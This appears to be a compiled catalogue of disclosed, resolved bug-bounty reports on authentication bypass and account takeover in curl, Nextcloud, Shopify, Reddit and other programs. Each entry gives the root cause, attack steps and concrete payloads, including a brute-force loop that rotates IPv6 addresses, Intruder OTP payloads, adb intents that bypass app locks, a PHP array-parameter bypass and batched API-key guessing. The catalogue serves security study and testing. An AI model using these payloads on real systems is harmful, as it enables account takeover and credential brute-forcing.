Insight β When a sensitive action is gated by a re-auth/password step, test whether the token proving that step is bound to the user/session. Reusable step-up tokens let you skip password confirmation on other accounts.
Real-world example
OAUTH2 bearer bypass via connection reuse (CVE-2022-22576)
β Medium
Specimen #1526328 Β· curl Β· none Β· 6 votes Β· resolved
Program curlSurface otherTag oauth
Root cause
curl's connection pool matched reusable SASL/OAUTHBEARER connections on host/protocol without comparing the supplied bearer/credentials, so a second request with a wrong bearer reused a connection already authenticated by an earlier valid bearer.
Method
- Make a valid authenticated request over a SASL protocol (IMAP/SMTP/POP3/LDAP) with a correct bearer
- Immediately make a second request to the same server with an invalid bearer
- The second request reuses the cached authenticated connection and succeeds
curl 'imap://server:port/;MAILINDEX=1' --login-options 'AUTH=OAUTHBEARER' -u user: --oauth2-bearer validbearer \
--next 'imap://server:port/;MAILINDEX=1' --login-options 'AUTH=OAUTHBEARER' -u user: --oauth2-bearer anything
Insight β Connection/session pools must key on the full credential set, not just endpoint. In multi-user apps (webmail, proxies) that pool upstream connections, test whether a later request with bad credentials rides a prior authenticated connection.
Real-world example
Client-side 302->200 response tampering bypasses auth gate
β Medium
Specimen #2665879 Β· deptofdefense Β· none Β· 6 votes Β· resolved
Program deptofdefenseSurface webTag account-takeover
Root cause
Access control was enforced only by a client-side redirect: the server returned a 302 to unauthenticated users but still processed the underlying request. Rewriting the response 302 to 200 in an intercepting proxy let an unauthenticated user reach the protected flow and submit actions as another user.
Method
- Request the protected page unauthenticated; intercept the server RESPONSE
- Change the 302 redirect status to 200 and forward to the browser
- Fill the now-rendered form (tampering dropdown responses similarly as needed)
- Enter another user's email (validated via an unauthenticated email-check endpoint) and submit as that user
GET /App/createrequest.aspx -> intercept response, change 'HTTP/1.1 302 Found' to 'HTTP/1.1 200 OK'
Insight β If auth is expressed as a redirect rather than a hard server-side block, the underlying action often still executes. Always test by editing the RESPONSE (302->200) and by calling the target endpoint directly.
Real-world example
Attacker controls which security questions are asked in password reset
β Medium
Specimen #192082 Β· deptofdefense Β· none Β· 4 votes Β· resolved
Program deptofdefenseSurface webTag account-takeover
Root cause
The forgot-password identity-verification step took the challenge-question selection from a client-supplied rq URL parameter, letting the attacker choose the questions and repeat a single known-answer question multiple times.
Method
- Start forgot-password for the victim
- Modify the rq parameter to the number(s) of question(s) you know the answer to (e.g. rq=02,02,02)
- Answer the same known question repeatedly to pass verification
https://target/PinLetterConfirm.aspx?globalID=...&AccessString=...&rq=02,02,02
Insight β Never let the client pick which knowledge-based auth questions are presented; look for question-index parameters in reset flows and force them to a single known question.
Real-world example
WebAuthn userVerification not enforced -> PIN factor bypass
β Medium
Specimen #924393 Β· nextcloud Β· none Β· 4 votes Β· resolved
Program nextcloudSurface webTag account-takeover
Root cause
The passwordless WebAuthn implementation neither requested userVerification nor checked the UV flag in the authenticator data server-side, so a FIDO2 key configured with a PIN/biometric could authenticate by mere presence, defeating the intended second factor.
Method
- Register a passwordless WebAuthn/FIDO2 key that has a PIN set
- Authenticate but skip/omit the PIN (e.g. tap key over NFC only)
- Server accepts the assertion because it never verifies the UV bit
// server must set userVerification: 'required' in options AND
// verify authenticatorData UV flag (bit 2) is set on the assertion; here it does neither
Insight β For WebAuthn to be MFA, the RP must request userVerification=required and validate the UV flag in the returned authenticatorData; otherwise the PIN/biometric is cosmetic and presence alone logs in.
Real-world example
libcurl connection reuse ignores auth-affecting options (credential confusion)
β Medium
Specimen #1892780 Β· curl Β· none Β· 4 votes Β· resolved
Program curlSurface otherTag account-takeover
Root cause
libcurl's connection pool reused an established connection for a new transfer without accounting for auth-relevant options, so a request meant to use different credentials/keys ran over a connection authenticated as a previous, different principal. Seen across FTP account (CVE-2023-27535), GSSAPI delegation (CVE-2023-27536), and SSH keys (CVE-2023-27538, where the SSH-key match used '==' against a bitmask family constant that never matched).
Method
- Issue two transfers to the same host on one curl invocation with different auth material (e.g. --ftp-account alice then bob; or different --delegation; or different ssh keys)
- libcurl reuses the first connection for the second transfer
- The second resource is fetched using the first identity's credentials
curl -v --ftp-account alice "ftp://ftp@server:9999/file1" -: --ftp-account bob "ftp://ftp@server:9999/file2"
# file2 fetched as alice
# SSH root-cause bug:
// wrong: get_protocol_family(needle->handler) == PROTO_FAMILY_SSH (family is SCP|SFTP, never equal)
// fix: get_protocol_family(needle->handler) & PROTO_FAMILY_SSH
Insight β Connection-pool reuse keys must include every parameter that affects the security principal (account, delegation level, keys, TLS client cert); when auditing HTTP/FTP/SSH client libraries or proxies, test mixed-credential reuse. A '==' vs '&' bitmask comparison silently disables the key-match guard.
Real-world example
curl Digest proxy-auth state leaks across proxy change (env path)
β Medium
Specimen #3744543 Β· curl Β· none Β· 3 votes Β· resolved
Program curlSurface otherTag account-takeover
Root cause
On a reused libcurl easy handle, stale HTTP Digest proxy-auth state (realm/nonce/response) from proxyA is sent to a different proxyB when the effective proxy changes via environment variables (http_proxy/ALL_PROXY); the cleanup that exists for explicit CURLOPT_PROXY changes is not applied to the env-derived path. Incomplete fix of CVE-2026-7168.
Method
- Reuse one easy handle across two transfers
- Transfer 1 authenticates to proxyA (Digest) with proxy selected from http_proxy
- Change http_proxy to proxyB and reuse the same handle
- proxyB receives Proxy-Authorization: Digest built from proxyA's realm/nonce, replayable to proxyA
setenv("http_proxy", "http://user:pass@proxyA", 1); curl_easy_perform(h);
setenv("http_proxy", "http://user:pass@proxyB", 1); curl_easy_perform(h);
// proxyB sees: Proxy-Authorization: Digest realm="realmA", nonce="nonceA", ...
// mitigations that DO clear state: CURLOPT_PROXY change, curl_easy_reset(), new handle
Insight β When auditing HTTP client libraries, auth/credential state must be re-scoped whenever the target (host/proxy/service) changes on a reused connection or handle. Test every way the target can change β explicit option, env var, redirect β not just the documented API; incomplete fixes recur on the alternate path.
Real-world example
Deactivated staff account still authenticates via mobile app
β Medium
Specimen #175490 Β· shopify Β· awarded Β· 48 votes Β· resolved
Program shopifySurface mobile-iosTag account-takeover
Root cause
Account deactivation is enforced on the web login flow but not on the mobile app's authentication path, so a staff account disabled by the owner can still log in (and retain access) through the mobile app.
Method
- Owner deactivates a staff account.
- Attempt login to that staff account via the Shopify mobile app.
- Login succeeds despite deactivation.
Insight β Account state changes (deactivate, ban, password reset, revoke) must be enforced at the shared auth/session layer, not per-client. Always retest deactivation/revocation on every client and API path (mobile, legacy tokens, OAuth) β parity gaps are common.
Real-world example
Biometric gate bypass via alternate entry path to protected UI
β Medium
Specimen #3693295 Β· brave Β· awarded Β· 47 votes Β· resolved
Program braveSurface mobile-iosTag account-takeover
Root cause
FaceID/passcode was enforced only on the primary path into Private Tabs. A secondary path (Playlist context menu -> 'Open in new Private Tab') reached the same protected surface without invoking the biometric check.
Method
- Enable FaceID protection for Private Tabs and browse in a private tab, then exit.
- Add any media to the Brave Playlist; long-press the item.
- Choose 'Open in a New Private Tab' -> private-tab content is accessible with no FaceID prompt.
Insight β Local-auth/biometric gates are often bolted onto the main navigation only. Enumerate every alternate way to reach the protected view (deep links, share sheets, context menus, widgets, playlists) and check each independently invokes the gate.
Real-world example
Account squatting: enable 2FA on an unverified account to lock out the real email owner
β Medium
Specimen #1543259 Β· cloudflare Β· awarded Β· 39 votes Β· resolved
Program cloudflareSurface webChain pre-register victim email -> enable 2FA pre-verification Tag account-takeover
Root cause
An account could be created with any email and have 2FA enabled before the email was ever verified. This lets an attacker pre-register a victim's email and attach 2FA, so when the legitimate owner later tries to sign up / reset, they cannot log in or reset (attacker controls the 2FA).
Method
- Sign up with the victim's email address (no verification required).
- Enable 2FA on this unverified account.
- Legitimate email owner is now unable to log in or reset password because 2FA is bound to the attacker.
Insight β Test whether security features (2FA, password set, API keys, OAuth linking) can be configured on an account before email verification. Pre-verification configuration enables account squatting / pre-hijack of not-yet-registered users.
Real-world example
2FA bypass via account-merge feature
β Medium
Specimen #1842183 Β· linkedin Β· awarded Β· 39 votes Β· resolved
Program linkedinSurface webTag account-takeover
Root cause
The merge-accounts flow logged into the target account without enforcing its 2FA control, so given the victim's credentials an attacker could reach an authenticated session while skipping the 2FA step the normal login enforces.
Method
- With the victim's username/password (but no 2FA), invoke the account-merge feature.
- The merge flow authenticates into the victim account without prompting for/validating 2FA.
- Authenticated as victim, bypassing 2FA.
Insight β 2FA is frequently enforced only on the primary login. Test every alternate authenticated entry: account merge/link, SSO linking, 'add account', re-auth flows, mobile deep links. A merge/link path that skips 2FA is a full bypass.
Real-world example
Password-reset token not invalidated after password change
β Medium
Specimen #948345 Β· trycourier Β· none Β· 35 votes Β· resolved
Program trycourierSurface webTag account-takeover
Root cause
A previously issued password-reset code stays valid even after the user changes their password by another route, so an old reset link can still overwrite the password.
Method
- Request a password-reset code for your account but do not use it.
- Log back in normally and change your password via account settings.
- Return to the emailed reset code and use it; it still succeeds and changes the password again.
Insight β Password-reset tokens must be invalidated on any password change and on issuance of a newer token. Test the sequence: request reset -> change password by other means -> old reset link still works. Relevant to shared-device/leaked-email attacker models.
Real-world example
Biometric integrity bypass via multi-vault switching
β Medium
Specimen #1929915 Β· bitwarden Β· none Β· 34 votes Β· resolved
Program bitwardenSurface mobile-androidTag account-takeover
Root cause
After a new fingerprint is enrolled the app marks BiometricIntegrityValid=false for the primary vault, but the integrity state was not enforced when switching to that vault from a second, freshly-unlocked account.
Method
- Sign in primary account, enable biometric unlock, lock the app
- Enroll a new fingerprint (integrity now invalid for primary)
- Add a secondary account and enable its biometric unlock
- Force-kill so both vaults lock
- Unlock the secondary vault, then switch to the primary vault - biometric unlock now works despite the invalid integrity
Insight β Security-state flags (biometric integrity, re-auth requirements) must be re-evaluated on every vault/profile switch, not just at app start. Multi-account apps often check state per-session but share it across profiles.
Real-world example
Replay captured 2FA response to bypass password change
β Medium
Specimen #1485788 Β· basecamp Β· awarded Β· 22 votes Β· resolved
Program basecampSurface webChain response replay -> account access surviving password rotaTag account-takeover
Root cause
The success response to the 2FA/backup-code step is not bound to a fresh server-side state; capturing it once lets the attacker replace a later login's response and get authenticated even after the victim rotates their password.
Method
- Attacker (knows current victim password) logs in, enables 2FA on victim account
- Log out, log back in, at the 2FA prompt submit a backup code and capture the success response in Repeater
- Remove 2FA, log out
- Victim later changes password
- Attacker logs in with the OLD password; when the post-auth/2FA response is returned, swap in the captured Step-3 response -> authenticated as victim
Insight β Test whether a security-critical action's outcome is enforced server-side or inferred from a client-visible response ('response manipulation'). Also test whether password change invalidates all existing auth material/backup codes.
Real-world example
Connection-pool reuse ignores credential-affecting options
β Medium
Specimen #1912778 Β· ibb Β· USD 2400 Β· 21 votes Β· resolved
Program ibbSurface otherTag account-takeover
Root cause
libcurl reuses a pooled FTP connection when its config 'matches', but the match check omits several security-relevant FTP options (CURLOPT_FTP_ACCOUNT, FTP_ALTERNATIVE_TO_USER, FTP_SSL_CCC, USE_SSL level), so a later transfer runs over a connection authenticated as a different user (CVE-2023-27535, CWE-305).
Method
- App creates an FTP transfer with one set of auth-affecting options
- A second transfer changes those options but reuses the same host/port/user
- libcurl matches the pooled connection and performs the second transfer with the first transfer's effective credentials
Insight β Any connection/session/socket pool is only as safe as its cache key. When auditing reuse logic, enumerate every option that changes the identity or privilege of the connection and confirm it is part of the match key - missing one yields auth bypass by cross-request confusion.
Real-world example
Rate limiter backed by Memcached silently no-ops
β Medium
Specimen #2110945 Β· nextcloud Β· none Β· 19 votes Β· resolved
Program nextcloudSurface webTag account-takeover
Root cause
When Memcached is the cache backend, its clear/reset semantics wipe the counters the brute-force protection relies on, so login throttling and rate limits become ineffective.
Method
- Identify that rate-limit counters live in the same cache backend (Memcached) as app data
- Trigger any action that partially clears/flushes cache entries
- Observe brute-force attempt counters reset
- Continue login/OTP guessing without lockout
Insight β When testing brute-force protection, check WHERE counters are stored; volatile/flushable caches (Memcached) or per-node caches can be reset or bypassed, neutralising the control.
Real-world example
IP-based login rate limit bypass via IP rotation
β Medium
Specimen #224460 Β· weblate Β· none Β· 17 votes Β· resolved
Program weblateSurface webTag account-takeover
Root cause
Brute-force protection is purely IP-request-rate based (block if faster than ~1 req/4s per IP) with no captcha or account lockout, so rotating source IPs (cheap IPv6 /64 subnets, VPS pools) defeats it.
Method
- Confirm block triggers only on per-IP request frequency
- Distribute login attempts across many source IPs (IPv6 /64 gives 2^64 addresses)
- Throttle to <1 req/4s per IP to stay under the limit
Insight β Per-IP throttling without account-scoped lockout/captcha is not brute-force protection; note providers renting whole IPv6 /64 ranges make rotation trivial.
Real-world example
2FA-enabled user enumeration via differential second-factor prompt
β Medium
Specimen #249431 Β· legalrobot Β· awarded Β· 9 votes Β· resolved
Program legalrobotSurface web
Root cause
During login and password reset the app prompts for a second factor only for accounts that have 2FA enabled (even when the password is wrong), turning the presence/absence of the 2FA prompt into an oracle that enumerates which users have 2FA.
Method
- Submit login (or password reset) for a target email, even with an incorrect password
- If the flow then asks for a 2FA code, the account has 2FA enabled; if not, it doesn't
- Iterate over emails to enumerate 2FA-enabled users
Insight β Authentication flows must behave identically regardless of a user's 2FA status until the password is verified. Watch for a second-factor step that appears before/independent of password correctness - it leaks account state. Same oracle appears on both login and reset paths.
Real-world example
Password reset token not invalidated on re-issue / password change
β Medium
Specimen #15166 Β· mavenlink Β· awarded Β· 6 votes Β· resolved
Program mavenlinkSurface webTag account-takeover
Root cause
Issuing a new password-reset token (or changing the password) did not invalidate previously issued tokens; multiple reset tokens remained simultaneously valid, so an attacker who captured an old token retains access even after the victim resets.
Method
- Request a reset token (token01), do not use it
- Request another reset (token02)
- Confirm both token01 and token02 still work
- Variant (see #23921): change the password several times, then the old reset link still resets the password
Insight β Always test reset-token lifecycle: issue two tokens and confirm the first dies; change the password and confirm outstanding tokens die. Non-expiring tokens defeat the victim's own remediation.
Real-world example
Disabling 2FA does not verify the current password
β Low
Specimen #587910 Β· security Β· awarded Β· 95 votes Β· resolved
Program securitySurface webTag account-takeover
Root cause
The destroy-2FA mutation requires a valid OTP/backup code but does not validate the supplied password, so a wrong password with a correct code still turns 2FA off - a missing re-authentication check on a sensitive action.
Method
- Enable 2FA, then open the disable dialog
- Submit a valid authenticator/backup code plus a deliberately wrong password
- 2FA is disabled successfully despite the bad password
mutation destroyTwoFactorAuthenticationCredentials(input:{password:"WRONG", otp_code:"VALID"}) { was_successful }
Insight β For any 'confirm with password' step-up, test whether the password is actually verified (send a wrong one). Sensitive-action re-auth is often decorative. Same test applies to email/password change, account delete, disable-2FA.
Real-world example
Android biometric lock bypass via exported deeplink activity
β Low
Specimen #637194 Β· shopify Β· USD 500 Β· 89 votes Β· resolved
Program shopifySurface mobile-androidTag account-takeover
Root cause
Fingerprint gating is applied to the main entry flow but the exported DeepLinkActivity is reachable directly while the app is open, entering authenticated screens without re-auth.
Method
- Open the app so it is running (biometric-locked)
- Fire the exported DeepLinkActivity via adb or a malicious app intent
- App shows admin content without prompting for fingerprint
adb shell am start -n com.shopify.mobile/com.shopify.mobile.lib.app.DeepLinkActivity -d 'https://www.shopify.com/admin/products'
Insight β When a mobile app has a biometric lock, enumerate exported activities/deeplinks and launch them directly. Auth gates on the launcher flow often don't cover secondary exported entry points.
Real-world example
Advisory-only rate limiter: 429 throttle returned but correct creds still authenticate
β Low
Specimen #1065186 Β· reddit Β· awarded Β· 39 votes Β· resolved
Program redditSurface graphqlChain weak-password policy + non-enforcing throttle -> login brTag graphqlTag account-takeover
Root cause
The login endpoint returns HTTP 429 'Request was throttled' after many attempts but does not actually block authentication: a request carrying the correct credentials succeeds even while throttled. Combined with a 5-char, no-special-char password policy, this makes brute force practical.
Method
- Send many wrong logins to the GraphQL loginUser mutation until it returns the 429 throttle error.
- While still 'throttled', send a request with valid credentials.
- Login succeeds despite the throttle message -> the limiter never enforced blocking.
POST /graphql HTTP/1.1
Host: gateway-production.dubsmash.com
content-type: application/json
{"operationName":"LogInUserMutation","variables":{"username":"victim@gmail.com","password":"GUESS","client_id":"...","client_secret":"..."},"query":"mutation LogInUserMutation($username:String!,$password:String!,$client_id:String!,$client_secret:String!){loginUser(input:{username:$username,password:$password,grant_type:PASSWORD,client_id:$client_id,client_secret:$client_secret}){access_token refresh_token}}"}
Insight β Do not trust a 429/throttle message as proof of protection. Verify the limiter actually blocks by submitting valid credentials while throttled; a merely-informational limiter still authenticates and is brute-forceable.
Real-world example
Reset-password endpoint skips token check when logged in
β Low
Specimen #806055 Β· x Β· none Β· 32 votes Β· resolved
Program xSurface webChain Session hijack -> tokenless reset -> lock out victimTag account-takeover
Root cause
The /reset_password endpoint did not validate the reset token for an authenticated session, letting a logged-in session set a new password without the token and without knowing the current password.
Method
- Hijack/obtain a logged-in victim session
- Visit /student/authentication/reset_password/ (no token)
- Submit a new password -> 'Password successfully updated' for the current user
GET /student/authentication/reset_password/ # no token, while authenticated
POST new_password=... -> changes current user's password
Insight β A tokenless reset path can double as a current-password-check bypass on the change-password flow. Test whether reset endpoints work with only a session and no token.
Real-world example
Rate-limit bypass via newline in identifier
β Low
Specimen #1040471 Β· khanacademy Β· none Β· 32 votes Β· resolved
Program khanacademySurface webTag account-takeover
Root cause
The login throttle keyed on the raw identifier value, so appending whitespace or a newline produced a distinct key that reset the limit; the limit also was not shared across different target emails.
Method
- Brute force login until locked out after ~25 attempts
- Append a space or \n to the identifier/email param
- Throttle resets; keep appending more \n indefinitely
- Also note: switching to a different email does not carry the lockout
identifier=victim@example.com%0a # each added %0a is a new throttle bucket
Insight β Rate limiters that key on unnormalized user input are trivially bypassed by case/whitespace/newline/encoding mutations. Test %0a, trailing space, casing, and unicode on the throttled field.
Real-world example
Local app PIN brute force (no attempt limit)
β Low
Specimen #2245437 Β· nextcloud Β· USD 100 Β· 30 votes Β· resolved
Program nextcloudSurface mobile-iosTag account-takeover
Root cause
The Files iOS app PIN lock accepted unlimited attempts, so the 4-digit PIN (10^4 space) could be brute forced to unlock the app.
Method
- Get physical access to the locked app
- Enter PIN guesses - no lockout or delay is applied
- Exhaust the 0000-9999 space to unlock
# 4-digit PIN, unlimited tries -> brute force 0000..9999
Insight β Client-side PIN/passcode locks need attempt limits and backoff/wipe. Test local unlock screens for missing rate limiting just like server auth.
Real-world example
IPv6 subnet rotation bypasses rate limiting
β Low
Specimen #1154003 Β· nextcloud Β· awarded Β· 23 votes Β· resolved
Program nextcloudSurface webTag account-takeover
Root cause
Rate-limit/bruteforce throttling keys on the client IP normalized to a /128 (single IPv6 address), but ISPs hand each customer a whole /64-/48. The attacker rotates through billions of source addresses in their own prefix, so per-address counters never trip.
Method
- Confirm target throttles login/password-reset by IP
- Note it counts IPv6 as /128 (per-address)
- Bind/rotate outbound source across your assigned /64 or /48 prefix
- Send each bruteforce request from a fresh address -> counters never accumulate
# each attempt from a new address in your prefix (example /64)
for i in $(seq 1 100000); do
curl --interface 2001:db8:abcd:1234::$i \
-d 'user=victim&password=guess'$i https://TARGET/login
done
Insight β When a target rate-limits by IP, test whether IPv6 is bucketed at /128; if so, address rotation within your own delegated prefix defeats it. Throttling must aggregate at /64 (or adaptively widen).
Real-world example
Brute-force short email-verification code -> pre-ATO
β Low
Specimen #1394984 Β· evernote Β· 150 Β· 22 votes Β· resolved
Program evernoteSurface webChain code brute -> attacker 2FA bind -> pre-account-takeoveTag account-takeover
Root cause
The email-confirmation code used during 2FA setup is only 6 digits with no attempt throttling, so it is brute-forceable; verifying it lets the attacker bind their own phone as the account's 2FA.
Method
- Register/claim an account tied to victim email; trigger the confirmationCode email
- Send the verify request to Burp Intruder, iterate 000000-999999
- Find the single response with a distinct (shorter) length = correct code
- Complete verification, attach attacker phone as 2FA
- Victim can never receive OTP -> permanently locked out (pre-account-takeover)
POST /verify-email HTTP/1.1
Host: TARGET
Content-Type: application/x-www-form-urlencoded
confirmationCode=Β§000000Β§ # Intruder numeric payload 000000-999999
Insight β Any fixed-length numeric code (email/SMS/OTP) with no rate limit is a brute target; use response-length/status as the success oracle. On unclaimed/unverified accounts this becomes a pre-account-takeover.
Real-world example
PHP old-password check bypass via array parameter (CVE-2020-8142)
β Low
Specimen #792895 Β· revive_adserver Β· none Β· 22 votes Β· resolved
Program revive_adserverSurface webChain array-typed old-password -> comparison bypass -> unautTag account-takeover
Root cause
In /admin/account-user-email.php the old-password verification can be bypassed by submitting the old-password parameter as an array; PHP's handling of the array value defeats the comparison, letting an attacker change email/password without knowing the current password.
Method
- Intercept the email/password change request
- Submit the old-password field as an array (param[]=x) instead of a scalar
- The comparison against the stored password is bypassed and the change succeeds
POST /admin/account-user-email.php
...&oldpassword[]=x&email=attacker@evil.tld&... # array bypasses the old-password check
Insight β On PHP endpoints, sending a scalar field as an array (name[]=) frequently bypasses string/hash comparisons that assumed a string (strcmp on array returns NULL, loose == quirks). Test every password/OTP/token verification by resubmitting the sensitive field as an array. Same primitive underpins many PHP auth-bypass and type-juggling bugs.
Real-world example
Expired reset link still works via reusable __VIEWSTATE
β Low
Specimen #1615790 Β· acronis Β· USD 100 Β· 19 votes Β· resolved
Program acronisSurface webTag account-takeover
Root cause
ASP.NET password-reset carries the reset state in __VIEWSTATE; the server validates only that field on submit and never invalidates it, so an 'expired' link's VIEWSTATE resets the password infinitely.
Method
- Request a reset link and open it (even after it shows expired)
- View source and copy the __VIEWSTATE value
- POST it to the token-validation endpoint with a new password
- Password changes; repeat any number of times
POST /TokenValidation.aspx HTTP/2
Content-Type: application/x-www-form-urlencoded
__VIEWSTATE=<viewstate>&ctl00%24mainContentId%24Password=hacked123&ctl00%24mainContentId%24ConfirmPassword=hacked123&ctl00%24mainContentId%24FinalizeRegistration=Submit
Insight β Reset-token lifecycle bugs: verify a token is invalidated (a) after first use and (b) after expiry. On ASP.NET, the true credential is often __VIEWSTATE, not the URL token - extract and replay it. Also test simple reuse-after-use (see #898841 Stocky).
Real-world example
Username enumeration via reset GraphQL + unthrottled brute force
β Low
Specimen #1165225 Β· reddit Β· awarded Β· 18 votes Β· resolved
Program redditSurface graphqlTag graphqlTag account-takeover
Root cause
The reset-password GraphQL mutation returns status:true for valid accounts and false for invalid, and neither reset nor login endpoints rate-limit, enabling username enumeration then password brute force.
Method
- Fuzz emails through resetPassword mutation; status:true = valid account
- Take a valid email, brute-force the login password field with Intruder
- Valid password returns a JWT in the response
{"data":{"resetPassword":{"status":true}}} // valid user
{"data":{"resetPassword":{"status":false}}} // invalid
Insight β Boolean-differential responses on reset/register/login are enumeration oracles; combined with weak password policy and no rate limit they become full ATO.
Real-world example
Brute-force password-protected share links (303 oracle)
β Low
Specimen #1894653 Β· nextcloud Β· none Β· 17 votes Β· resolved
Program nextcloudSurface webTag account-takeover
Root cause
Password-protected public share links have no brute-force protection; the password POST can be fuzzed and a 303 redirect (vs re-prompt) is the success oracle (CVE-2023-28847).
Method
- Open a password-protected /s/<token> share in a fresh browser
- Submit a wrong password and capture the POST in Burp
- Intruder the password field with a wordlist
- 303 response = correct password
POST /index.php/s/<TOKEN>/authenticate password=FUZZ -> 303 on success
Insight β Share-link / document passwords are a commonly unthrottled auth surface; use the redirect/status differential as the oracle.
Real-world example
Brute-force protection bypass via uncounted alternate auth endpoint
β Low
Specimen #1192159 Β· nextcloud Β· 100 Β· 17 votes Β· resolved
Program nextcloudSurface webTag account-takeover
Root cause
The WebDAV endpoint authenticates credentials but does not register failures in the brute-force throttling table, so an alternate auth path evades the account lockout/rate limiter.
Method
- Enumerate every endpoint that accepts the same credentials (WebDAV, API, mobile, legacy).
- Verify which ones increment the brute-force/lockout counter after a failed login.
- Brute-force via the endpoint that doesn't (here public.php/webdav with PROPFIND).
curl -u "USER:WRONGPASS" -X PROPFIND https://TARGET/public.php/webdav
# then check oc_bruteforce_attempts: no row added -> throttling bypassed
Insight β Rate-limit/lockout logic is usually attached to the primary login form only. Always test WebDAV/Basic-auth/API/mobile endpoints separately - protections rarely cover all of them uniformly.
Real-world example
Missing rate limit -> brute force with response-length oracle
β Low
Specimen #2039447 Β· automattic Β· awarded Β· 15 votes Β· resolved
Program automatticSurface webTag account-takeover
Root cause
A password/secret-verification POST endpoint enforces no rate limit and returns a distinguishable response for wrong vs right guesses, enabling brute forcing of shared passwords, login passwords, or API tokens.
Method
- Find a secret-check endpoint (share password, login, API token) with no 429/lockout
- Send the request through Burp Intruder with the secret as the payload position
- Use the response-length/status differential as the oracle (here len 297 = wrong, 414 = correct)
- Iterate a wordlist until the correct value is found
POST /share/<ID>/password HTTP/1.1
Host: app.crowdsignal.com
Content-Type: application/x-www-form-urlencoded
action=password&nonce=<NONCE>&password=Β§FUZZΒ§
# wrong password -> Content-Length ~297; correct -> ~414 (length oracle)
Insight β On any secret-verification endpoint, confirm no rate limit/lockout, then look for a boolean oracle (status, length, timing, redirect). To defeat per-account lockouts, rotate source IPs (X-Forwarded-For / IP rotation) as in #1466967, or hit a weaker sibling host.
Real-world example
Android app local lock/PIN bypass via exposed intent
β Low
Specimen #490946 Β· nextcloud Β· 50 Β· 13 votes Β· resolved
Program nextcloudSurface mobile-androidTag account-takeover
Root cause
The app's local passcode lock is enforced only by the foreground UI; an exported/deep-link intent (nc://login) reaches account-add functionality without passing through the lock check, exposing other logged-in accounts' data behind the lock.
Method
- Open the app showing the lock screen
- Fire the exposed VIEW intent to the login/account-add handler, bypassing the lock UI
- Even if add-account fails, the app is now open behind the lock and other accounts are visible
- The intent can be fired by any local app, so ADB is not required
adb shell am start -a android.intent.action.VIEW -d "nc://login/server:MY_SERVER&user:ME&password:PWD" --es "ACCOUNT" "not_valid"
Insight β Client-side app locks (PIN/biometric) must gate EVERY entry point, not just the launcher activity. Enumerate exported activities/deep links (drozer / manifest) and fire them while locked; a reachable screen behind the lock defeats it. Also test back-button/task-switch escapes (see #3625210).
Real-world example
libssh passphrase bypass via implicit ssh-agent auth (CVE-2025-15224)
β Low
Specimen #3480925 Β· curl Β· none Β· 13 votes Β· resolved
Program curlSurface otherTag account-takeover
Root cause
libcurl's libssh backend maps CURLSSH_AUTH_PUBLICKEY onto ssh_userauth_publickey_auto(), which also tries the ssh-agent. So even when the app sets only PUBLICKEY (not AGENT), a running ssh-agent/pageant with the key loaded authenticates without ever prompting for the key passphrase.
Method
- Build libcurl --with-libssh (8.17.0)
- App sets CURLOPT_SSH_AUTH_TYPES = CURLSSH_AUTH_PUBLICKEY only, connects sftp://
- With ssh-agent running and the key added, auth succeeds without the passphrase
curl_easy_setopt(curl, CURLOPT_SSH_AUTH_TYPES, CURLSSH_AUTH_PUBLICKEY);
/* ssh-agent holds the key -> passphrase requirement bypassed */
Insight β When a library maps a specific auth flag onto an 'auto' routine, hidden fallbacks (agent, gssapi) can activate. Audit auth-type flags against what the underlying library's *_auto function actually attempts.
Real-world example
Password reset completes with the token stripped from the URL
β Low
Specimen #265775 Β· legalrobot Β· awarded Β· 9 votes Β· resolved
Program legalrobotSurface webChain token-less reset -> account takeoverTag account-takeover
Root cause
The reset-completion endpoint sets a new password without server-side verification that a valid reset token is present; removing the token from the path still lets the reset proceed.
Method
- Request a reset link and open it (.../password-reset/token?v=<token>)
- Remove the token, navigate to .../password-reset
- Submit a new password - it is accepted without any token
https://TARGET/password-reset/token?v=<valid_token> (real link)
https://TARGET/password-reset (token stripped, still resets)
Insight β Test reset flows by deleting or blanking the token parameter and by supplying an arbitrary token; a robust server rejects both. Broken token binding here means any account can be reset without inbox access.
Real-world example
Email-verification token accepted as password-reset token (token scope confusion)
β Low
Specimen #98469 Β· deriv Β· awarded Β· 7 votes Β· resolved
Program derivSurface webChain email-verify token -> password reset -> account takeovTag account-takeover
Root cause
A single validate_link endpoint keyed action off a URL param (step=account) rather than the token's issued purpose, so a token minted for email verification was accepted to reach the password-reset flow.
Method
- Trigger an email-verification email and grab its validate_link URL
- Remove the step=account parameter (or change it) so the endpoint routes to the reset flow
- Set a new password using the verification token
https://TARGET/user/validate_link?step=account&verify_token=TOKEN&l=EN
-> https://TARGET/user/validate_link?verify_token=TOKEN&l=EN # now a password-reset flow
Insight β When one token/endpoint services multiple actions distinguished by a URL/body param, test cross-use: feed a low-privilege token (verify/unsubscribe/magic-link) into higher-privilege actions (reset/change-email). Tokens must be scoped to a single purpose server-side, not by a client-supplied action param.
Real-world example
Password-reset tokens survive use and reissue
β Low
Specimen #244642 Β· wakatime Β· none Β· 7 votes Β· resolved
Program wakatimeSurface webChain leaked/old reset token -> repeatable password change ->Tag account-takeover
Root cause
Reset links were only time-expired (12h) and were not single-use: a token stayed valid after the password was changed, and requesting a new token did not invalidate prior outstanding tokens.
Method
- Request a reset link (token1) and complete the reset
- Reuse token1 again later β it still changes the password
- Separately, request token1 then token2; token1 remains usable after token2 is issued/used
# token remains valid after successful use
# older token remains valid after a newer one is issued
Insight β Reset tokens must be single-use and invalidated on both successful reset and reissue. Two quick tests: (1) reuse a token after resetting; (2) request two tokens and use the older one. Time-only expiry (e.g. 12h) is insufficient β a stolen-mailbox token = repeatable ATO.
Real-world example
Array param -> IN() query to brute-force API keys 65534x per request
β Low
Specimen #449356 Β· rubygems Β· none Β· 7 votes Β· resolved
Program rubygemsSurface apiTag account-takeover
Root cause
authenticate_with_api_key passes params[:api_key] straight to User.find_by_api_key; supplying an array (api_key[]=...) makes ActiveRecord build WHERE api_key IN (...), so a single request tests thousands of candidate keys at once.
Method
- Send the credential param as an array: ?api_key[]=k1&api_key[]=k2 (use curl --globoff).
- Rails logs show SELECT ... WHERE api_key IN ($1,$2) LIMIT 1 -> one request checks all values.
- Batch up to ~65534 values per POST JSON body before Postgres bind-parameter limit; amplify brute force accordingly.
curl --globoff 'http://TARGET/api/v1/gems?api_key[]=key1&api_key[]=key2'
# POST JSON, ~65534 candidates per request:
require 'net/http'; keys = 65534.times.map{SecureRandom.hex(32)}
req.body = {api_key: keys}.to_json
